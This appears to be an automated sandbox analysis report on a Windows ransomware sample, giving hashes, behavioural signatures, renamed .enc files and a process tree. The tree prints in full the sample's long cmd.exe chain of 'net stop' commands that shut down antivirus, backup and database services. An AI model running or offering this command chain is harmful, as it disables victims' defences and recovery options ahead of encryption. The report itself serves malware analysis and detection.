Analysis
-
max time kernel
119s -
max time network
124s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
19-10-2021 22:31
Static task
static1
Behavioral task
behavioral1
Sample
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe
Resource
win10-en-20210920
General
-
Target
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe
-
Size
53KB
-
MD5
075fde76356266570e4801a1f0e852ae
-
SHA1
c6fa790f37e0a30b1c6cc9014fefc9164adc8a16
-
SHA256
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de
-
SHA512
4cff70eff3f0d4c6df0b05d6b6de916e86d0b8575858ef925932d27214756afce0cc5d621bb93934d24ee5aa4ee54a2fba808e4098d8beb360a1682d6b3ccee4
Malware Config
Signatures
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exedescription ioc process File renamed C:\Users\Admin\Pictures\HideComplete.crw => C:\Users\Admin\Pictures\HideComplete.crw.enc 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe File renamed C:\Users\Admin\Pictures\HideUndo.crw => C:\Users\Admin\Pictures\HideUndo.crw.enc 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe File renamed C:\Users\Admin\Pictures\RestartUpdate.crw => C:\Users\Admin\Pictures\RestartUpdate.crw.enc 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe File renamed C:\Users\Admin\Pictures\UnlockReset.crw => C:\Users\Admin\Pictures\UnlockReset.crw.enc 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe File renamed C:\Users\Admin\Pictures\EnterGet.tif => C:\Users\Admin\Pictures\EnterGet.tif.enc 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3628 taskkill.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exetaskkill.exedescription pid process Token: SeDebugPrivilege 2176 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe Token: SeDebugPrivilege 2176 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe Token: SeDebugPrivilege 3628 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.execmd.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exedescription pid process target process PID 2176 wrote to memory of 3576 2176 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe cmd.exe PID 2176 wrote to memory of 3576 2176 2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe cmd.exe PID 3576 wrote to memory of 4072 3576 cmd.exe net.exe PID 3576 wrote to memory of 4072 3576 cmd.exe net.exe PID 4072 wrote to memory of 3648 4072 net.exe net1.exe PID 4072 wrote to memory of 3648 4072 net.exe net1.exe PID 3576 wrote to memory of 424 3576 cmd.exe net.exe PID 3576 wrote to memory of 424 3576 cmd.exe net.exe PID 424 wrote to memory of 680 424 net.exe net1.exe PID 424 wrote to memory of 680 424 net.exe net1.exe PID 3576 wrote to memory of 1084 3576 cmd.exe net.exe PID 3576 wrote to memory of 1084 3576 cmd.exe net.exe PID 1084 wrote to memory of 392 1084 net.exe net1.exe PID 1084 wrote to memory of 392 1084 net.exe net1.exe PID 3576 wrote to memory of 1248 3576 cmd.exe net.exe PID 3576 wrote to memory of 1248 3576 cmd.exe net.exe PID 1248 wrote to memory of 1360 1248 net.exe net1.exe PID 1248 wrote to memory of 1360 1248 net.exe net1.exe PID 3576 wrote to memory of 2296 3576 cmd.exe net.exe PID 3576 wrote to memory of 2296 3576 cmd.exe net.exe PID 2296 wrote to memory of 860 2296 net.exe net1.exe PID 2296 wrote to memory of 860 2296 net.exe net1.exe PID 3576 wrote to memory of 420 3576 cmd.exe net.exe PID 3576 wrote to memory of 420 3576 cmd.exe net.exe PID 420 wrote to memory of 3968 420 net.exe net1.exe PID 420 wrote to memory of 3968 420 net.exe net1.exe PID 3576 wrote to memory of 3716 3576 cmd.exe net.exe PID 3576 wrote to memory of 3716 3576 cmd.exe net.exe PID 3716 wrote to memory of 3020 3716 net.exe net1.exe PID 3716 wrote to memory of 3020 3716 net.exe net1.exe PID 3576 wrote to memory of 4056 3576 cmd.exe net.exe PID 3576 wrote to memory of 4056 3576 cmd.exe net.exe PID 4056 wrote to memory of 380 4056 net.exe net1.exe PID 4056 wrote to memory of 380 4056 net.exe net1.exe PID 3576 wrote to memory of 1420 3576 cmd.exe net.exe PID 3576 wrote to memory of 1420 3576 cmd.exe net.exe PID 1420 wrote to memory of 2908 1420 net.exe net1.exe PID 1420 wrote to memory of 2908 1420 net.exe net1.exe PID 3576 wrote to memory of 2620 3576 cmd.exe net.exe PID 3576 wrote to memory of 2620 3576 cmd.exe net.exe PID 2620 wrote to memory of 2032 2620 net.exe net1.exe PID 2620 wrote to memory of 2032 2620 net.exe net1.exe PID 3576 wrote to memory of 1816 3576 cmd.exe net.exe PID 3576 wrote to memory of 1816 3576 cmd.exe net.exe PID 1816 wrote to memory of 720 1816 net.exe net1.exe PID 1816 wrote to memory of 720 1816 net.exe net1.exe PID 3576 wrote to memory of 2648 3576 cmd.exe net.exe PID 3576 wrote to memory of 2648 3576 cmd.exe net.exe PID 2648 wrote to memory of 1156 2648 net.exe net1.exe PID 2648 wrote to memory of 1156 2648 net.exe net1.exe PID 3576 wrote to memory of 1152 3576 cmd.exe net.exe PID 3576 wrote to memory of 1152 3576 cmd.exe net.exe PID 1152 wrote to memory of 4092 1152 net.exe net1.exe PID 1152 wrote to memory of 4092 1152 net.exe net1.exe PID 3576 wrote to memory of 1748 3576 cmd.exe net.exe PID 3576 wrote to memory of 1748 3576 cmd.exe net.exe PID 1748 wrote to memory of 3940 1748 net.exe net1.exe PID 1748 wrote to memory of 3940 1748 net.exe net1.exe PID 3576 wrote to memory of 1136 3576 cmd.exe net.exe PID 3576 wrote to memory of 1136 3576 cmd.exe net.exe PID 1136 wrote to memory of 1472 1136 net.exe net1.exe PID 1136 wrote to memory of 1472 1136 net.exe net1.exe PID 3576 wrote to memory of 3816 3576 cmd.exe net.exe PID 3576 wrote to memory of 3816 3576 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe"C:\Users\Admin\AppData\Local\Temp\2b9949889dd265aa85dd7712d7b8344832dcb6ee03574aab23cee91ff68557de.bin.exe"1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop Acronis VSS Provider /y & net stop Enterprise Client Service /y & net stop Sophos Agent /y & net stop Sophos AutoUpdate Service /y & net stop Sophos Clean Service /y & net stop Sophos Device Control Service /y & net stop Sophos File Scanner Service /y & net stop Sophos Health Service /y & net stop Sophos MCS Agent /y & net stop Sophos MCS Client /y & net stop Sophos Message Router /y & net stop Sophos SafeStore Service /y & net stop Sophos Protection System Service /y & net stop Sophos Web Control Service /y & net stop SQLsafe ?????????? ??????????? ?????? /y & net stop SQLsafe Filter Service /y & net stop Symantec System Recovery /y & net stop Veeam Backup Service Data Catalog /y & net stop AcronisAgent /y & net stop AcrSch2Svc /y & net stop Antivirus /y & net stop ARSM /y & net stop BackupExecAgentAccelerator /y & net stop BackupExecAgentBrowser /y & net stop BackupExecDeviceMediaService /y & net stop BackupExecJobEngine /y & net stop BackupExecManagementService /y & net stop BackupExecRPCService /y & net stop BackupExecVSSProvider /y & net stop bedbg /y & net stop DCAgent /y & net stop EPSecurityService /y & net stop EPUpdateService /y & net stop EraserSvc11710 /y & net stop EsgShKernel /y & net stop FA_Scheduler /y & net stop IISAdmin /y & net stop IMAP4Svc /y & net stop macmnsvc /y & net stop masvc /y & net stop MBAMService /y & net stop MBEndpointAgent /y & net stop McAfeeEngineService /y & net stop McAfeeFramework /y & net stop McAfeeFrameworkMcAfeeFramework /y & net stop McShield /y & net stop McTaskManager /y & net stop mfemms /y & net stop mfevtp /y & net stop MMS /y & net stop mozyprobackup /y & net stop MsDtsServer /y & net stop MsDtsServer100 /y & net stop MsDtsServer110 /y & net stop MSExchangeES /y & net stop MSExchangeIS /y & net stop MSExchangeMGMT /y & net stop MSExchangeMTA /y & net stop MSExchangeSA /y & net stop MSExchangeSRS /y & net stop MSOLAP $ SQL_2008 /y & net stop MSOLAP $ SYSTEM_BGC /y & net stop MSOLAP $ TPS /y & net stop MSOLAP $ TPSAMA /y & net stop MSSQL $ BKUPEXEC /y & net stop MSSQL $ ECWDB2 /y & net stop MSSQL $ PRACTICEMGT /y & net stop MSSQL $ PRACTTICEBGC /y & net stop MSSQL $ PROFXENGAGEMENT /y & net stop MSSQL $ SBSMONITORING /y & net stop MSSQL $ SHAREPOINT /y & net stop MSSQL $ SQL_2008 /y & net stop MSSQL $ SYSTEM_BGC /y & net stop MSSQL $ TPS /y & net stop MSSQL $ TPSAMA /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop MSSQL $ VEEAMSQL2012 /y & net stop MSSQLFDLauncher /y & net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y & net stop MSSQLFDLauncher $ SBSMONITORING /y & net stop MSSQLFDLauncher $ SHAREPOINT /y & net stop MSSQLFDLauncher $ SQL_2008 /y & net stop MSSQLFDLauncher $ SYSTEM_BGC /y & net stop MSSQLFDLauncher $ TPS /y & net stop MSSQLFDLauncher $ TPSAMA /y & net stop MSSQLSERVER /y & net stop MSSQLServerADHelper100 /y & net stop MSSQLServerOLAPService /y & net stop MySQL80 /y & net stop MySQL57 /y & net stop ntrtscan /y & net stop OracleClientCache80 /y & net stop PDVFSService /y & net stop POP3SVC /y & net stop ReportServer /y & net stop ReportServer $ SQL_2008 /y & net stop ReportServer $ SYSTEM_BGC /y & net stop ReportServer $ TPS /y & net stop ReportServer $ TPSAMA /y & net stop RESVC /y & net stop sacsvr /y & net stop SamSs /y & net stop SAVAdminService /y & net stop ????????? /y & net stop SDRSVC /y & net stop SepMasterService /y & net stop ShMonitor /y & net stop Smcinst /y & net stop SmcService /y & net stop SMTPSVC /y & net stop SNAC /y & net stop SntpService /y & net stop sophossps /y & net stop SQLAgent $ BKUPEXEC /y & net stop SQLAgent $ ECWDB2 /y & net stop SQLAgent $ PRACTTICEBGC /y & net stop SQLAgent $ PRACTTICEMGT /y & net stop SQLAgent $ PROFXENGAGEMENT /y & net stop SQLAgent $ SBSMONITORING /y & net stop SQLAgent $ SHAREPOINT /y & net stop SQLAgent $ SQL_2008 /y & net stop SQLAgent $ SYSTEM_BGC /y & net stop SQLAgent $ TPS /y & net stop SQLAgent $ TPSAMA /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2012 /y & net stop SQLBrowser /y & net stop SQLSafeOLRService /y & net stop SQLSERVERAGENT /y & net stop SQLTELEMETRY /y & net stop SQLTELEMETRY $ ECWDB2 /y & net stop SQLWriter /y & net stop SstpSvc /y & net stop svcGenericHost /y & net stop swi_filter /y & net stop swi_service /y & net stop swi_update_64 /y & net stop TmCCSF /y & net stop tmlisten /y & net stop TrueKey /y & net stop TrueKeyScheduler /y & net stop TrueKeyServiceHelper /y & net stop UI0Detect /y & net stop VeeamBackupSvc /y & net stop VeeamBrokerSvc /y & net stop VeeamCatalogSvc /y & net stop VeeamCloudSvc /y & net stop VeeamDeploymentService /y & net stop VeeamDeploySvc /y & net stop VeeamEnterpriseManagerSvc /y & net stop VeeamMountSvc /y & net stop VeeamNFSSvc /y & net stop VeeamRESTSvc /y & net stop VeeamTransportSvc /y & net stop W3svc /y & net stop wbengine /y & net stop WRSVC /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop VeeamHvIntegrationSvc /y & net stop swi_update /y & net stop SQLAgent $ CXDB /y & net stop SQLAgent $ CITRIX_METAFRAME /y & net stop SQL ???????? /y & net stop MSSQL $ PROD /y & net stop Zoolz 2 ?????? /y & net stop MSSQLServerADHelper /y & net stop SQLAgent $ PROD /y & net stop msftesql $ PROD /y & net stop NetMsmqActivator /y & net stop EhttpSrv /y & net stop ekrn /y & net stop ESHASRV /y & net stop MSSQL $ SOPHOS /y & net stop SQLAgent $ SOPHOS /y & net stop AVP /y & net stop klnagent /y & net stop MSSQL $ SQLEXPRESS /y & net stop SQLAgent $ /y & net stop SQLEXPRESS /y & net stop wbengine /y & net stop kavfsslp /y & net stop KAVFSGT /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop Acronis VSS Provider /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Acronis VSS Provider /y4⤵
-
C:\Windows\system32\net.exenet stop Enterprise Client Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Enterprise Client Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Agent /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Agent /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos AutoUpdate Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos AutoUpdate Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Clean Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Clean Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Device Control Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Device Control Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos File Scanner Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos File Scanner Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Health Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Health Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos MCS Agent /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos MCS Agent /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos MCS Client /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos MCS Client /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Message Router /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Message Router /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos SafeStore Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos SafeStore Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Protection System Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Protection System Service /y4⤵
-
C:\Windows\system32\net.exenet stop Sophos Web Control Service /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Web Control Service /y4⤵
-
C:\Windows\system32\net.exenet stop SQLsafe ?????????? ??????????? ?????? /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLsafe ?????????? ??????????? ?????? /y4⤵
-
C:\Windows\system32\net.exenet stop SQLsafe Filter Service /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLsafe Filter Service /y4⤵
-
C:\Windows\system32\net.exenet stop Symantec System Recovery /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Symantec System Recovery /y4⤵
-
C:\Windows\system32\net.exenet stop Veeam Backup Service Data Catalog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y4⤵
-
C:\Windows\system32\net.exenet stop AcronisAgent /y3⤵
-
C:\Windows\system32\net.exenet stop AcrSch2Svc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵
-
C:\Windows\system32\net.exenet stop Antivirus /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Antivirus /y4⤵
-
C:\Windows\system32\net.exenet stop ARSM /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ARSM /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecAgentAccelerator /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecAgentBrowser /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecDeviceMediaService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecJobEngine /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecManagementService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecRPCService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵
-
C:\Windows\system32\net.exenet stop BackupExecVSSProvider /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵
-
C:\Windows\system32\net.exenet stop bedbg /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bedbg /y4⤵
-
C:\Windows\system32\net.exenet stop DCAgent /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DCAgent /y4⤵
-
C:\Windows\system32\net.exenet stop EPSecurityService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y4⤵
-
C:\Windows\system32\net.exenet stop EPUpdateService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y4⤵
-
C:\Windows\system32\net.exenet stop EraserSvc11710 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y4⤵
-
C:\Windows\system32\net.exenet stop EsgShKernel /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y4⤵
-
C:\Windows\system32\net.exenet stop FA_Scheduler /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y4⤵
-
C:\Windows\system32\net.exenet stop IISAdmin /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop IISAdmin /y4⤵
-
C:\Windows\system32\net.exenet stop IMAP4Svc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop IMAP4Svc /y4⤵
-
C:\Windows\system32\net.exenet stop macmnsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop macmnsvc /y4⤵
-
C:\Windows\system32\net.exenet stop masvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop masvc /y4⤵
-
C:\Windows\system32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net.exenet stop MBEndpointAgent /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBEndpointAgent /y4⤵
-
C:\Windows\system32\net.exenet stop McAfeeEngineService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y4⤵
-
C:\Windows\system32\net.exenet stop McAfeeFramework /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y4⤵
-
C:\Windows\system32\net.exenet stop McAfeeFrameworkMcAfeeFramework /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y4⤵
-
C:\Windows\system32\net.exenet stop McShield /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McShield /y4⤵
-
C:\Windows\system32\net.exenet stop McTaskManager /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McTaskManager /y4⤵
-
C:\Windows\system32\net.exenet stop mfemms /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfemms /y4⤵
-
C:\Windows\system32\net.exenet stop mfevtp /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfevtp /y4⤵
-
C:\Windows\system32\net.exenet stop MMS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MMS /y4⤵
-
C:\Windows\system32\net.exenet stop mozyprobackup /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y4⤵
-
C:\Windows\system32\net.exenet stop MsDtsServer /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y4⤵
-
C:\Windows\system32\net.exenet stop MsDtsServer100 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y4⤵
-
C:\Windows\system32\net.exenet stop MsDtsServer110 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeES /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeIS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeMGMT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeMTA /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeSA /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y4⤵
-
C:\Windows\system32\net.exenet stop MSExchangeSRS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y4⤵
-
C:\Windows\system32\net.exenet stop MSOLAP $ SQL_2008 /y3⤵
-
C:\Windows\system32\net.exenet stop MSOLAP $ SYSTEM_BGC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y4⤵
-
C:\Windows\system32\net.exenet stop MSOLAP $ TPS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPS /y4⤵
-
C:\Windows\system32\net.exenet stop MSOLAP $ TPSAMA /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ BKUPEXEC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ ECWDB2 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ PRACTICEMGT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ PRACTTICEBGC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ PROFXENGAGEMENT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ SBSMONITORING /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ SHAREPOINT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ SQL_2008 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ SYSTEM_BGC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ TPS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPS /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ TPSAMA /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPSAMA /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ VEEAMSQL2008R2 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQL $ VEEAMSQL2012 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ PROFXENGAGEMENT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ SBSMONITORING /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ SHAREPOINT /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ SQL_2008 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ SYSTEM_BGC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ TPS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLFDLauncher $ TPSAMA /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLSERVER /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLServerADHelper100 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y4⤵
-
C:\Windows\system32\net.exenet stop MSSQLServerOLAPService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y4⤵
-
C:\Windows\system32\net.exenet stop MySQL80 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL80 /y4⤵
-
C:\Windows\system32\net.exenet stop MySQL57 /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL57 /y4⤵
-
C:\Windows\system32\net.exenet stop ntrtscan /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ntrtscan /y4⤵
-
C:\Windows\system32\net.exenet stop OracleClientCache80 /y3⤵
-
C:\Windows\system32\net.exenet stop PDVFSService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵
-
C:\Windows\system32\net.exenet stop POP3SVC /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop POP3SVC /y4⤵
-
C:\Windows\system32\net.exenet stop ReportServer /y3⤵
